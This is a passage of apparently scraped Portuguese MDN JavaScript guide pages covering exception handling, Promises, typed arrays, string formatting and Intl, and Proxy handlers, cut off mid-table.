\"UserException\";\n}\n\n// Realiza a conversão da exceção para uma string adequada quando usada como uma string.\n// (ex. pelo console de erro)\nUserException.prototype.toString = function () {\n  return this.name + ': \"' + this.message + '\"';\n};\n\n// Cria uma instância de um tipo de objeto e lança ela\nthrow new UserException(\"Valor muito alto\");\n```\n\n### `Declaração try...catch`\n\nA declaração `try...catch` coloca um bloco de declarações em try, e especifica uma ou mais respostas para uma exceção lançada. Se uma exceção é lançada, a declaração `try...catch` pegá-a.\n\nA declaração `try...catch` é composta por um bloco `try`, que contém uma ou mais declarações, e zero ou mais blocos `catch`, contendo declarações que especificam o que fazer se uma exceção é lançada no bloco `try`. Ou seja, você deseja que o bloco `try` tenha sucesso, e se ele não tiver êxito, você quer o controle passado para o bloco `catch`. Se qualquer declaração do bloco `try` (ou em uma função chamada dentro do bloco `try`) lança uma exceção, o controle é imediatamente mudado para o bloco `catch`. Se nenhuma exceção é lançada no bloco `try`, o bloco `catch` é ignorado. O bloco `finally` executa após os blocos `try` e `catch` executarem, mas antes das declarações seguinte ao bloco `try...catch.`\n\nO exemplo a seguir usa a declaração `try...catch`. O exemplo chama uma função que recupera o nome de um mês no array com base no valor passado para a função. Se o valor não corresponde ao número de um mês (1-12), uma exceção é lançada com o valor \"`InvalidMonthNo`\" e as declarações no bloco `catch` define a váriavel `monthName` para `unknown`.\n\n\n```js\nfunction getMonthName(mo) {\n  mo = mo - 1; // Ajusta o número do mês para o índice do array (1 = Jan, 12 = Dec)\n  var months = [\n    \"Jan\",\n    \"Feb\",\n    \"Mar\",\n    \"Apr\",\n    \"May\",\n    \"Jun\",\n    \"Jul\",\n    \"Aug\",\n    \"Sep\",\n    \"Oct\",\n    \"Nov\",\n    \"Dec\",\n  ];\n  if (months[mo]) {\n    return months[mo];\n  } else {\n    throw \"InvalidMonthNo\"; //lança uma palavra-chave aqui usada.\n  }\n}\n\ntry {\n  // statements to try\n  monthName = getMonthName(myMonth); // função poderia lançar uma exceção\n} catch (e) {\n  monthName = \"unknown\";\n  logMyErrors(e); // passa a exceção para o manipulador de erro -> sua função local.\n}\n```\n\n\n#### O bloco `catch`\n\nVocê pode usar um bloco `catch` para lidar com todas as exceções que podem ser geradas no bloco `try`.\n```\n\ncatch (catchID) {\n  declaracoes\n}\n```\n\n\nO bloco `catch` específica um identificador (`catchID` na sintaxe anterior), que contém o valor especificado pela declaração `throw`; você pode usar esse identificador para obter informações sobre a exceção que foi lançada. JavaScript cria este identificador quando o bloco `catch` é inserido; o identificador dura enquanto o bloco `catch` está em execução, depois que termina a execução do bloco `catch`, o identificador não estará mais disponível.\n\nPor exemplo, o seguinte código lança uma exceção. Quando a exceção ocorre, o controle é transferido para o bloco `catch`.\n\n\n```js\ntry {\n  throw \"myException\"; // lança uma exceção\n} catch (e) {\n  // declarações de lidar com as exceções\n  logMyErrors(e); // passar a exceção para o manipulador de erro\n}\n```\n\n\n#### O bloco `finally`\n\nO bloco `finally` contém instruções para executar após os blocos `try` e `catch`, mas antes das declarações seguinte a declaração `try...catch`. O bloco `finally` é executado com ou sem o lançamento de uma exceção. Se uma exceção é lançada, a declaração no bloco `finally` executa, mesmo que nenhum bloco `catch` processe a exceção.\n\nVocê pode usar bloco `finally` para deixar a falha de seu script agradável quando uma exceção ocorre; por exemplo, você pode precisar liberar um recurso que seu script tem amarrado. O exemplo a seguir abre um arquivo e então executa instruções que usam o arquivo (JavaScript do lado do servidor permite que você acesse arquivos). Se um exceção é lançada enquanto o arquivo é aberto, o bloco `finally` fecha o arquivo antes do script falhar.\n\n\n```js\nopenMyFile();\ntry {\n  writeMyFile(theData); //Isso pode lançar um erro\n} catch (e) {\n  handleError(e); // Se temos um erro temos que lidar com ele\n} finally {\n  closeMyFile(); // Sempre feche o recurso\n}\n```\n\n\nSe o bloco `finally` retornar um valor, este valor se torna o valor de toda a entrada `try-catch-finally`, independente de quaisquer declarações de retorno nos blocos `try` e `catch`:\n\n\n```js\nfunction f() {\n  try {\n    console.log(0);\n    throw \"bogus\";\n  } catch (e) {\n    console.log(1);\n    return true; // essa declaração de retorno é suspensa\n    // até que o bloco finally seja concluído\n    console.log(2); // não executa\n  } finally {\n    console.log(3);\n    return false; // substitui o \"return\" anterior\n    console.log(4); // não executa\n  }\n  // \"return false\" é executado agora\n  console.log(5); // não executa\n}\nf(); // exibe 0, 1, 3; retorna false\n```\n\n\nSubstituições de valores de retorno pelo bloco `finally` também se aplica a exceções lançadas ou re-lançadas dentro do bloco `catch`:\n\n\n```js\nfunction f() {\n  try {\n    throw \"bogus\";\n  } catch (e) {\n    console.log('captura interior \"falso\"');\n    throw e; // essa instrução throw é suspensa até\n    // que o bloco finally seja concluído\n  } finally {\n    return false; // substitui \"throw\" anterior\n  }\n  // \"return false\" é executado agora\n}\n\ntry {\n  f();\n} catch (e) {\n  // isto nunca é executado porque o throw dentro\n  // do catch é substituído\n  // pelo return no finally\n  console.log('captura exterior \"falso\"');\n}\n\n// SAIDA\n// captura interior \"falso\"\n```\n\n\n#### Aninhando declarações try...catch\n\nVocê pode aninhar uma ou mais declarações `try...catch`. Se uma declaração `try...catch` interior não tem um bloco `catch`, o delimitador do bloco `try...catch` da declaração `catch` é verificado por uma correspondência.\n\n### Utilizando objetos de `erro`\n\nDependendo do tipo de erro, você pode ser capaz de usar as propriedade 'name' e 'message' para pegar uma mensagem mais refinada. A propriedade 'name' fornece a classe geral de erro (ex., 'DOMException' ou 'Error'), enquanto 'message' geralmente oferece uma mensagem mais sucinta do que se poderia obter através da conversão do objeto de erro para uma string.\n\nSe você está lançando suas próprias exceções, a fim de tirar proveito dessas propriedades (como o seu bloco catch não discrimina entre suas próprias exceções e as exceções próprias da linguagem), você pode usar o construtor Error. Por exemplo:\n\n\n```js\nfunction doSomethingErrorProne () {\n  if (ourCodeMakesAMistake()) {\n    throw (new Error('A mensagem'));\n  } else {\n    doSomethingToGetAJavascriptError();\n  }\n}\n....\ntry {\n  doSomethingErrorProne();\n}\ncatch (e) {\n  console.log(e.name); // exibe 'Error'\n  console.log(e.message); // exibe 'A mensagem' ou uma mensagem de erro em JavaScript\n}\n```\n\nPromises\n--------\n\nComeçando com ECMAScript 6, JavaScript ganha suporte para objetos `Promise` que lhe permite controlar o fluxo de operações diferídas e assíncronas.\n\nUma Promise assume um destes estados:\n\n* *pending*: estado inicial, não `fulfilled`, ou `rejected`.\n* *fulfilled*: operação bem sucedida.\n* *rejected*: operação falha.\n* *settled*: A Promise é fulfilled ou rejected, mas não pending.\n\n![](/pt-BR/docs/Web/JavaScript/Guide/Control_flow_and_error_handling/promises.png)\n\n### Carregando uma imagem com XHR\n\nUm exemplo simples usando Promise e `XMLHttpRequest` para carregar uma imagem disponível no repositório MDN GitHub promise-test. Você também pode vê-lo executando. Cada etapa está comentada o que lhe permite seguir de perto a arquitetura Promise e arquitetura XHR. Aqui está a versão não comentada, mostrando o fluxo `Promise` para que você possa ter uma ideia:\n\n\n```js\nfunction imgLoad(url) {\n  return new Promise(function (resolve, reject) {\n    var request = new XMLHttpRequest();\n    request.open(\"GET\", url);\n    request.responseType = \"blob\";\n    request.onload = function () {\n      if (request.status === 200) {\n        resolve(request.response);\n      } else {\n        reject(\n          Error(\n            \"Image didn't load successfully; error code:\" + request.statusText,\n          ),\n        );\n      }\n    };\n    request.onerror = function () {\n      reject(Error(\"There was a network error.\"));\n    };\n    request.send();\n  });\n}\n```\n\n\nPara uma informação mais detalhada, consulte a página de referência `Promise`.\n\n* « Previous\n* Next »"}
{"title":"Arrays tipados no JavaScript - JavaScript","text":"Arrays tipados no JavaScript\n============================\n\nOs arrays tipados do Javascript são objetos parecidos com arrays convencionais, e fornecem um mecanismo para lidar com dados binários em sua forma \"bruta\". Como você já deve saber, objetos do tipo `Array` aumentam e encolhem dinamicamente, e podem conter qualquer tipo de valor possível no Javascript. Os interpretadores Javascript realizam otimizações para que estes arrays sejam rápidos de se manipular. Todavia, à medida em que as aplicações web tornam-se mais e mais poderosas, adicionando recursos como manipulação de áudio e vídeo, acesso a dados brutos utilizando WebSockets, e assim por diante, tornou-se claro que há momentos em que seria útil ao código Javascript ser capaz de manipular dados binários \"brutos\" em arrays tipados, de forma rápida e fácil.Entretanto, os arrays tipados não devem ser confundidos com arrays convencionais, já que invocar o método `Array.isArray()` em um array tipado retornará `false`. Além disso, nem todos os métodos disponíveis para arrays normais são suportados pelos arrays tipados (ex. push e pop).Buffers e views: a arquitetura dos arrays tipados\n-------------------------------------------------\n\nPara alcançar a máxima flexibilidade e eficiência, os arrays tipados do Javascript dividem sua implementação entre **buffers** e **views**. Um buffer (implementado pelo objeto `ArrayBuffer`) é um objeto que representa um fragmento (chunk) de dados; Não possui formato para ser discutido, e não oferece mecanismos para acessar seu conteúdo. Para acessar os dados contidos em um buffer, você precisa utilizar uma view. Uma view fornece um contexto — isto é, um tipo de dado, o deslocamento inicial, e o número de elementos — que transforma estes dados em um array tipado.\n\n![Typed arrays in an ArrayBuffer](/pt-BR/docs/Web/JavaScript/Guide/Typed_arrays/typed_arrays.png)\n\n### ArrayBuffer\n\nO `ArrayBuffer` é um tipo de dado que é utilizado para representar um buffer genérico de dados binários, com comprimento fixo. Você não pode manipular diretamente o conteúdo de um `ArrayBuffer`; ao invés, você cria uma view de array tipado ou um objeto do tipo `DataView`, que representa o buffer em um formato específico, e os utiliza para ler e escrever no conteúdo do buffer.\n\n### Views de arrays tipados\n\nAs views de arrays tipados possuem nomes auto descritivos e fornecem exibições para todos os tipos numéricos habituais, como `Int8`, `Uint32`, `Float64` e assim por diante. Há uma view de array tipado especial, a view `Uint8ClampedArray`. Ela comporta os valores entre `0` e `255`. Isto é útil no processamento de dados do Canvas (en-US), por exemplo.\n\n{{page(\"/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/TypedArray\", \"TypedArray\\_objects\")}}### DataView\n\nO objeto do tipo `DataView` é uma interface de baixo nível que fornece uma API no estilo *getter*/*setter* para ler e escrever dados arbitrários ao buffer. Isto é útil quando se está lidando com diferentes tipos de dados, por exemplo. As views de arrays tipados estão em ordem de bytes nativa (veja Endianness) da sua plataforma. Com uma `DataView` você é capaz de controlar a ordem dos bytes. Esta ordem é *big-endian* por padrão e pode ser alterada para *little-endian* através dos métodos *getters* e *setters* citados anteriormente.\n\nWeb APIs que utilizam arrays tipados\n------------------------------------\n\n`FileReader.prototype.readAsArrayBuffer()`\n\nO método `FileReader.prototype.readAsArrayBuffer()` inicia a leitura do conteúdo de um objeto do tipo Blob ou FIle especificado.\n\n`XMLHttpRequest.prototype.send()`\n\nO método `send()` das instâncias de `XMLHttpRequest` agora suportam arrays tipados e objetos do tipo `ArrayBuffer` como argumento.\n\n`ImageData.data` (en-US)\n\nÉ objeto do tipo `Uint8ClampedArray` (en-US) que representa uma matriz unidimensional que contém dados na ordem RGBA, com valores numéricos entre `0` e `255` inclusive.\n\nExemplos\n--------\n\n### Utilizando views com buffers\n\nPrimeiramente, nós precisamos criar um buffer, com um tamanho fixo de 16 bytes neste caso:\n\n\n```js\nvar buffer = new ArrayBuffer(16);\n```\n\n\nNeste ponto, nós temos um fragmento de memória cujos bytes estão todos pré-inicializados em `0`. Não há muito que possamos fazer com isto, no entanto. Nós podemos confirmar que possuem de fato 16 bytes de comprimento, e isso é tudo sobre ele:\n\n\n```js\nif (buffer.byteLength === 16) {\n  console.log(\"Sim, são 16 bytes.\");\n} else {\n  console.log(\"Ah não, o tamanho não está certo!\");\n}\n```\n\n\nAntes de realmente começarmos a trabalhar com este buffer, precisamos criar uma view. Vamos criar uma view que trata os dados neste buffer como um array de inteiros assinados de 32 bits:\n\n\n```js\nvar int32View = new Int32Array(buffer);\n```\n\n\nAgora nós podemos acessar os campos neste array assim como em um array convencional:\n\n\n```js\nfor (var i = 0; i < int32View.length; i++) {\n  int32View[i] = i \\* 2;\n}\n```\n\n\nIsto preenche as 4 posições do array (4 posições com 4 bytes cada uma, produzindo um total de 16 bytes) com os valores `0`, `2`, `4` e `6`.\n\n### Multiplas views dos mesmos dados\n\nAs coisas começar a ficar realmente interessantes quando você considera que é possível criar múltiplas views para os mesmos dados. Por exemplo, dado o código acima, nós podemos continuar desta forma:\n\n\n```js\nvar int16View = new Int16Array(buffer);\n\nfor (var i = 0; i < int16View.length; i++) {\n  console.log(\"Posição \" + i + \": \" + int16View[i]);\n}\n```\n\n\nAqui nós criamos uma view de inteiros de 16 bits que compartilha o mesmo buffer que a view de 32 bits existente, e emitimos todos os valores no buffer como inteiros de 16 bits. Agora nós obtemos a saída `0`, `0`, `2`, `0`, `4`, `0`, `6`, `0`.\n\nVocê pode ir um pouco mais longe, no entanto. Considere isto:\n\n\n```js\nint16View[0] = 32;\nconsole.log(\"Entra 0 na matriz de 32 bits agora é \" + int32View[0]);\n```\n\n\nA saída disso é \"Entrada 0 na matriz de 32 bits agora é 32\". Em outras palavras, as duas matrizes são, na verdade, apenas vistas no mesmo buffer de dados, tratando-as como formatos diferentes. Você pode fazer isso com qualquer tipo de visualização (en-US).\n\n### Trabalhando com Estruturas de Dados Complexas\n\nAo combinar um único buffer com várias exibições de diferentes tipos, iniciando em diferentes deslocamentos no buffer, você pode interagir com objetos de dados contendo vários tipos de dados. Isso permite, por exemplo, interagir com estruturas de dados complexas de WebGL, arquivos de dados ou estruturas C que você precisa usar ao usar js-ctypes.\n\nConsidere esta estrutura em C:\n\n\n```cpp\nstruct someStruct {\n  unsigned long id;\n  char username[16];\n  float amountDue;\n};\n```\n\n\nVocê pode acessar um buffer contendo dados neste formato assim:\n\n\n```js\nvar buffer = new ArrayBuffer(24);\n\n// ... leia os dados no buffer ...\n\nvar idView = new Uint32Array(buffer, 0, 1);\nvar usernameView = new Uint8Array(buffer, 4, 16);\nvar amountDueView = new Float32Array(buffer, 20, 1);\n```\n\n\nEntão você pode acessar, por exemplo, o devido valor com `amountDueView[0]`.\n\n**Nota:** O alinhamento da estrutura de dados em uma estrutura em C depende da plataforma. Tome precauções e considerações para essas diferenças de preenchumento.\n\n### Conversão para arrays normais\n\nDepois de processar uma array tipada, às vezes é útil convertê-la de volta em uma array normal para se beneficiar do `Array` prototype. Isso pode ser feito usando `Array.from`, ou usando o seguinte código onde `Array.from` não é suportado.\n\n\n```js\nvar typedArray = new Uint8Array([1, 2, 3, 4]),\n  normalArray = Array.prototype.slice.call(typedArray);\nnormalArray.length === 4;\nnormalArray.constructor === Array;\n```\n\nVeja também\n-----------\n\n* Getting `ArrayBuffer`s or typed arrays from *Base64*-encoded strings (en-US)\n* `StringView` – a C-like representation of strings based on typed arrays\n* Faster Canvas Pixel Manipulation with Typed Arrays\n* Typed Arrays: Binary Data in the Browser\n* Endianness"}
{"title":"Formatando texto - JavaScript","text":"Formatando texto\n================\n\n* « Previous\n* Next »\n\nEsse capítulo introduz como trabalhar com strings e texto em JavaScript.\n\nStrings\n-------\n\nO tipo String do JavaScript é usado para representar informações de texto. É um conjunto de \"elementos\" composto por valores inteiros de 16-bits sem sinal. Cada elemento dentro da String ocupa uma posição dentro dessa String. O primeiro elemento está no índice 0, o próximo no índice 1, e assim sucessivamente. O tamanho de uma String é a quantidade de elementos que ela possui. Você pode criar strings usando strings literais ou objetos string.\n\n### Strings literais\n\nVocê pode criar strings usando aspas simples ou aspas duplas:\n\n\n```js\n'foo';\n\"bar\";\n```\n\n\nStrings mais avançadas podem ser criadas usando sequências de escape:\n\n#### Sequências de escape hexadecimais\n\nO número depois de \\x é interpretado como um número hexadecimal.\n\n\n```js\n\"\\xA9\"; // \"©\"\n```\n\n\n#### Sequências de escape unicode\n\nAs sequências de escape unicode requerem no mínimo quatro caracteres depois do `\\u`.\n\n\n```js\n\"\\u00A9\"; // \"©\"\n```\n\n\n#### Sequências de escape Unicode code point\n\nÉ novo no ECMAScript 6. Com essas sequências, cada caractere pode ser \"escapado\" usando números hexadecimais, sendo possível usar pontos de código Unicode de até 0x10FFFF. Com escapes Unicode simples muitas vezes é necessário escrever as metades substitutas separadamente para obter o mesmo resultado.\n\nVeja também `String.fromCodePoint()` or `String.prototype.codePointAt()`.\n\n\n```js\n\"\\u{2F804}\";\n\n// o mesmo com escapes Unicode simples\n\"\\uD87E\\uDC04\";\n```\n\n### Objetos String\n\nO objeto `String` é como uma \"capa\" ao redor do tipo primitivo string.\n\n\n```js\nvar s = new String(\"foo\"); // Cria um objeto String\nconsole.log(s); // Exibe no console: { '0': 'f', '1': 'o', '2': 'o'}\ntypeof s; // Retorna 'object'\n```\n\n\nVocê pode chamar qualquer um dos métodos do objeto `String` em cima de uma string literal — JavaScript automaticamente converte a string literal em um objeto `String` temporário, chama o método, e então descarta o objeto `String` temporário. Você pode também usar a propriedade `String.length` com uma string literal.\n\nVocê deve usar strings literais a menos que você realmente precise usar um objeto `String`, pois objetos `String` podem ter comportamentos inesperados. Por exemplo:\n\n\n```js\nvar s1 = \"2 + 2\"; // Cria uma string literal\nvar s2 = new String(\"2 + 2\"); // Creates um objeto String\neval(s1); // Retorna o número 4\neval(s2); // Retorna a string \"2 + 2\"\n```\n\n\nUm objeto `String` possui uma propriedade, `length`, que indica o número de caracteres na string. Por exemplo, o código a seguir atribui o valor 11 à variável `x`, pois \"Olá, mundo!\" possui 11 caracteres:\n\n\n```js\nvar minhaString = \"Olá, mundo!\";\nvar x = minhaString.length;\n```\n\n\nUm objeto `String` possui uma variedade de métodos: por exemplo aqueles que retornam uma variação da própria string, como `substring` e `toUpperCase`.\n\nA tabela a seguir lista os métodos de objetos `String`.\n\n| Método | Descrição |\n| --- | --- |\n| `charAt`, `charCodeAt`, `codePointAt` | Retorna o código do caractere ou o caractere em uma posição específica na string. |\n| `indexOf`, `lastIndexOf` | Retorna a posição de uma substring específica na string ou a última posição da substring específica, respectivamente. |\n| `startsWith`, `endsWith`, `includes` | Retorna se uma string começa, termina ou contém uma outra string específica. |\n| `concat` | Concatena o texto de duas strings e retorna uma nova string. |\n| `fromCharCode`, `fromCodePoint` | Cria uma string a partir de uma sequência específica de valores Unicode. Esse é um método da classe String, não de uma instância do tipo String. |\n| `split` | Separa um objeto `String` em um array de strings, separando a string em substrings. |\n| `slice` | Extrai uma seção de uma string e retorna uma nova string. |\n| `substring`, `substr` | Retorna um subconjunto específico de uma string, definindo os índices inicial e final, ou definindo um índice e um tamanho. |\n| `match`, `replace`, `search` | Trabalha com expressões regulares. |\n| `toLowerCase`, `toUpperCase` | Retorna a string com todos caracteres em minúsculo, ou maiúsculo, respectivamente. |\n| `normalize` | Retorna a Forma Normalizada Unicode (Unicode Normalization Form) da string que chama o método. |\n| `repeat` | Retorna uma string contendo os elementos do objeto repetidos pela quantidade de vezes dada. |\n| `trim` | Retira espaços em branco no começo e no final da string. |\n\n### Template strings com várias linhas\n\nTemplate strings são strings literais que permitem expressões no seu conteúdo. Você pode usar os recursos de strings com multiplas linhas e interpolações de string com as template strings.\n\nTemplate strings são declaradas com o acento grave (``) ao invés de aspas simples ou aspas duplas. Essas strings podem conter place holders. Os place holders são indicados pelo cifrão e com chaves ( `${expressao}` ).\n\n#### Várias linhas (Multi-lines)\n\nQualquer caractere de nova linha ( `'\\n'` ) inserido na string também faz parte das template string. Usando strings normais, você teria que usar a sintaxe a seguir para conseguir uma string de várias linhas\n\n\n```js\nconsole.log(\n  \"linha de texto 1\\n\\\nlinha de texto 2\",\n);\n// \"linha de texto 1\n// linha de texto 2\"\n```\n\n\nPara obter o mesmo efeito com strings multi-lines, você pode agora escrever:\n\n\n```js\nconsole.log(`linha de texto 1\nlinha de texto 2`);\n// \"linha de texto 1\n// linha de texto 2\"\n```\n\n\n#### Expressões inseridas\n\nPara conseguir inserir expressões com strings normais, você teria que usar a seguinte sintaxe:\n\n\n```js\nvar a = 5;\nvar b = 10;\nconsole.log(\"Quinze é \" + (a + b) + \" e\\nnão \" + (2 \\* a + b) + \".\");\n// \"Quinze é 15 e\n// não 20.\"\n```\n\n\nAgora, com template strings, você tem a capacidade de usar uma forma mais simples e legível para fazer essas substituições:\n\n\n```js\nvar a = 5;\nvar b = 10;\nconsole.log(`Quinze é ${a + b} e\\nnão ${2 \\* a + b}.`);\n// \"Quinze é 15 e\n// não 20.\"\n```\n\n\nPara mais informações, leia sobre Template strings na referência JavaScript.\n\nInternacionalização\n-------------------\n\nO objeto `Intl` é o *namespace* para a API de Internacionalização do ECMAScript, que oferece comparação de strings sensíveis à linguagem, formatação de números, e formatação de datas e horas. Os construtores para os objetos `Collator` (en-US), `NumberFormat`, e `DateTimeFormat` (en-US) são propriedades do objeto `Intl`.\n\n### Formatação de data e hora\n\nO objeto `DateTimeFormat` (en-US) é útil para a formatação de data e hora. O código a seguir formata uma data em inglês no formato que é utilizado nos Estados Unidos. (O resultado é diferente em outro fuso horário).\n\n\n```js\nvar msPorDia = 24 \\* 60 \\* 60 \\* 1000; // número de milisegundos em um dia\n\n// July 17, 2014 00:00:00 UTC.\nvar july172014 = new Date(msPorDia \\* (44 \\* 365 + 11 + 197));\n\nvar opcoes = {\n  year: \"2-digit\",\n  month: \"2-digit\",\n  day: \"2-digit\",\n  hour: \"2-digit\",\n  minute: \"2-digit\",\n  timeZoneName: \"short\",\n};\nvar americanDateTime = new Intl.DateTimeFormat(\"en-US\", opcoes).format;\n\nconsole.log(americanDateTime(july172014)); // 07/16/14, 5:00 PM PDT\n```\n\n### Formatação de números\n\nO objeto `NumberFormat` é útil para formatar números, por exemplo unidade monetária.\n\n\n```js\nvar precoGasolina = new Intl.NumberFormat(\"en-US\", {\n  style: \"currency\",\n  currency: \"USD\",\n  minimumFractionDigits: 3,\n});\n\nconsole.log(precoGasolina.format(5.259)); // $5.259\n\nvar hanDecimalRMBInChina = new Intl.NumberFormat(\"zh-CN-u-nu-hanidec\", {\n  style: \"currency\",\n  currency: \"CNY\",\n});\n\nconsole.log(hanDecimalRMBInChina.format(1314.25)); // ￥ 一,三一四.二五\n```\n\n### Collation\n\nO objeto `Collator` (en-US) é usado para comparar e ordenar strings.\n\nPor exemplo, existem atualmente duas ordens diferentes de classificação no Alemão: *listaTelefônica* e *dicionário*. A ordenação da *listaTelefônica* enfatiza o som, e é como se \"ä\", \"ö\", e assim por diante, fossem expandidos para \"ae\", \"oe\", e assim sucessivamente, para definir a ordem.\n\n\n```js\nvar nomes = [\"Hochberg\", \"Hönigswald\", \"Holzman\"];\n\nvar phonebookAlemao = new Intl.Collator(\"de-DE-u-co-phonebk\");\n\n// como se ordenasse [\"Hochberg\", \"Hoenigswald\", \"Holzman\"]:\nconsole.log(names.sort(phonebookAlemao.compare).join(\", \"));\n// imprime \"Hochberg, Hönigswald, Holzman\"\n```\n\n\nAlgumas palavras do alemão são conjugadas com tremas extras, mas no *dicionário* essas palavras são ordenadas ignorando os tremas (exceto quando ordenando palavras que tem *apenas* o trema como diferença: *schon* antes de *schön*).\n\n\n```js\nvar dicionarioAlemao = new Intl.Collator(\"de-DE-u-co-dict\");\n\n// como se ordenasse [\"Hochberg\", \"Honigswald\", \"Holzman\"]:\nconsole.log(names.sort(dicionarioAlemao.compare).join(\", \"));\n// imprime \"Hochberg, Holzman, Hönigswald\"\n```\n\n\nPara mais informação sobre a API `Intl`, veja também Introducing the JavaScript Internationalization API (em inglês).\n\n* « Previous\n* Next »"}
{"title":"Meta programação - JavaScript","text":"Meta programação\n================\n\n* « Previous\n\nComeçando com ECMAScript 6, o JavaScript ganha suporte para os objetos `Proxy` e `Reflect`, permitindo você interceptar e definir o comportamento personalizado para operações fundamentais da linguagem (por exemplo, pesquisa de propriedade, atribuição, enumeração, invocação de função, etc). Com a ajuda destes dois objetos você será capaz de programar a nível meta em JavaScript.\n\nProxies\n-------\n\nIntroduzido em ECMAScript 6, objetos `Proxy` permitem que você intercepte determinadas operações e implementar comportamentos personalizados. Por exemplo, receber uma propriedade em um objeto:\n\n\n```js\nvar handler = {\n  get: function (target, name) {\n    return name in target ? target[name] : 42;\n  },\n};\nvar p = new Proxy({}, handler);\np.a = 1;\nconsole.log(p.a, p.b); // 1, 42\n```\n\n\nO objeto Proxy define um `target` (um objeto vazio aqui) e um objeto `handler` em que um `get` *trap* é implementado. Aqui, um objeto que está em proxy não retornará indefinido quando receber propriedades indefinidas, mas, ao contrário, retornar o número 42.\n\nExemplos adicionais estão disponíveis na página de referência de `Proxy` .\n\n### Terminologia\n\nOs seguintes termos são usados quando se fala sobre a funcionalidade de proxies.\n\nhandler (en-US)\n\nEspaço reservado de objeto que contenha traps.\n\ntraps\n\nOs métodos que fornecem acesso de propriedade. Isto é análogo ao conceito de traps em sistemas operacionais.\n\ntarget\n\nObjeto que o proxy está virtualizando. Ele é frequentemente usado como backend de armazenamento para o proxy. Invariantes (semânticas que permanecem inalteradas) relativas a objetos que não podem ser extendidos ou propriedades que não podem ser configuradas são comparadas com o target.\n\ninvariantes\n\nSemânticas que permanecem inalteradas na execução de operações personalizadas são chamados de *invariantes*. Se você violar as invariantes de um manipulador, um `TypeError` será lançado.\n\nHandlers e traps\n----------------\n\nA tabela a seguir resume as traps disponíveis aos objetos do tipo Proxy. Veja as páginas de referência (en-US) para explicações detalhadas e exemplos.\n\n| Handler / trap | Interceptions | Invariants |\n| --- | --- | --- |\n| `handler.getPrototypeOf()` (en-US) | `Object.getPrototypeOf()``Reflect.getPrototypeOf()` (en-US)`__proto__``Object.prototype.isPrototypeOf()``instanceof` | * O método `getPrototypeOf` deve retornar um object ou\n `null`.\n* Se `target` não puder ser extendido, o método\n `Object.getPrototypeOf(proxy)` deve retornar o mesmo\n valor que `Object.getPrototypeOf(target)`.\n |\n| `handler.setPrototypeOf()` (en-US) | `Object.setPrototypeOf()``Reflect.setPrototypeOf()` (en-US) | \n Se `target` não puder ser extendido, o parâmetro\n `prototype` dever ter o mesmo valor que\n `Object.getPrototypeOf(target)`.\n  |\n| `handler.isExtensible()` (en-US) | `Object.isExtensible()``Reflect.isExtensible()` (en-US) | `Object.isExtensible(proxy)` deve retornar o mesmo valor que\n `Object.isExtensible(target)`.\n  |\n| `handler.preventExtensions()` (en-US) | `Object.preventExtensions()``Reflect.preventExtensions()` (en-US) | `Object.preventExtensions(proxy)` retorna\n `true` somente se\n `Object.isExtensible(proxy)` retornar `false`.\n  |\n| `handler.getOwnPropertyDescriptor()` (en-US) | `Object.getOwnPropertyDescriptor()``Reflect.getOwnPropertyDescriptor()` (en-US) | * `getOwnPropertyDescriptor` deve retornar um object ou\n `undefined`.\n* Uma propriedade não pode ser descrita como não existente se ela\n existir como uma propriedade própria e não configurável do objeto\n alvo.\n* Uma propriedade não pode ser relatada como inexistente, se existir\n como uma propriedade própria do objeto de destino e o objeto de\n destino não for extensível.\n* Uma propriedade não pode ser relatada como existente, se não existir\n como uma propriedade própria do objeto de destino e o objeto de\n destino não for extensível.\n* Uma propriedade não pode ser relatada como não configurável, se não\n existir como uma propriedade própria do objeto de destino ou se\n existir como uma propriedade própria configurável do objeto de\n destino.\n* O resultado de\n `Object.getOwnPropertyDescriptor(target)` pode ser\n aplicado ao objeto de destino usando\n `Object.defineProperty` e não emitirá uma exceção.\n |\n| `handler.defineProperty()` (en-US) | `Object.defineProperty()``Reflect.defineProperty()` | * Uma propriedade não pode ser adicionada se o objeto de destino não\n for extensível.\n* Uma propriedade não pode ser adicionada como ou modificada para não\n ser configurável, se não existir como uma propriedade própria não\n configurável do objeto de destino.\n* Uma propriedade pode não ser não configurável, se existir uma\n propriedade configurável correspondente do objeto de destino.\n* Se uma propriedade tiver uma propriedade de objeto de destino\n correspondente\n `Object.defineProperty(target, prop, descriptor)` não\n lançará uma exceção.\n* No modo estrito, um valor de retorno `false` do\n manipulador `defineProperty` manipulador lançará um\n `TypeError` exceção.\n |\n| `handler.has()` (en-US) | \n Property query: `foo in proxy`Inherited property query:\n `foo in Object.create(proxy)``Reflect.has()` (en-US) | * Uma propriedade não pode ser relatada como inexistente, se existir\n como uma propriedade própria não configurável do objeto de destino.\n* Uma propriedade não pode ser relatada como inexistente, se existir\n como uma propriedade própria do objeto de destino e o objeto de\n destino não for extensível.\n |\n| `handler.get()` (en-US) | 1\n Property access: `proxy[foo]`and `proxy.bar`Inherited property access: `Object.create(proxy)[foo]``Reflect.get()` (en-US) | * O valor relatado para uma propriedade deve ser igual ao valor da\n propriedade do objeto de destino correspondente se a propriedade do\n objeto de destino for uma propriedade de dados não gravável e não\n configurável.\n* O valor relatado para uma propriedade deve ser indefinido se a\n propriedade do objeto de destino correspondente for uma propriedade\n acessora não configurável que tenha sido indefinida como seu\n atributo [[Get]].\n |\n| `handler.set()` (en-US) | \n Property assignment: `proxy[foo] = bar` and\n `proxy.foo = bar`Inherited property assignment:\n `Object.create(proxy)[foo] = bar``Reflect.set()` | * Não é possível alterar o valor de uma propriedade para ser diferente\n do valor da propriedade do objeto de destino correspondente se a\n propriedade do objeto de destino correspondente for uma propriedade\n de dados não gravável e não configurável.\n* Não é possível definir o valor de uma propriedade se a propriedade\n do objeto de destino correspondente for uma propriedade acessadora\n não configurável que tenha `undefined` como seu atributo\n [[Set]].\n* No modo estrito, um valor de retorno `false` do\n manipulador `set` lançará uma exceção\n `TypeError`.\n |\n| `handler.deleteProperty()` (en-US) | \n Property deletion: `delete proxy[foo]` and\n `delete proxy.foo``Reflect.deleteProperty()` (en-US) | \n Uma propriedade não pode ser excluída, se existir como uma propriedade\n própria não configurável do objeto de destino.\n  |\n| `handler.enumerate()` | \n Property enumeration / for...in:\n `for (var name in proxy) {...}``Reflect.enumerate()` | O método `enumerate` deve retornar um objeto. |\n| `handler.ownKeys()` (en-US) | `Object.getOwnPropertyNames()``Object.getOwnPropertySymbols()``Object.keys()``Reflect.ownKeys()` (en-US) | * O resultado de `ownKeys` é uma lista.\n* O tipo de cada elemento da lista de resultados é\n `String` ou `Symbol`.\n* A lista de resultados deve conter as 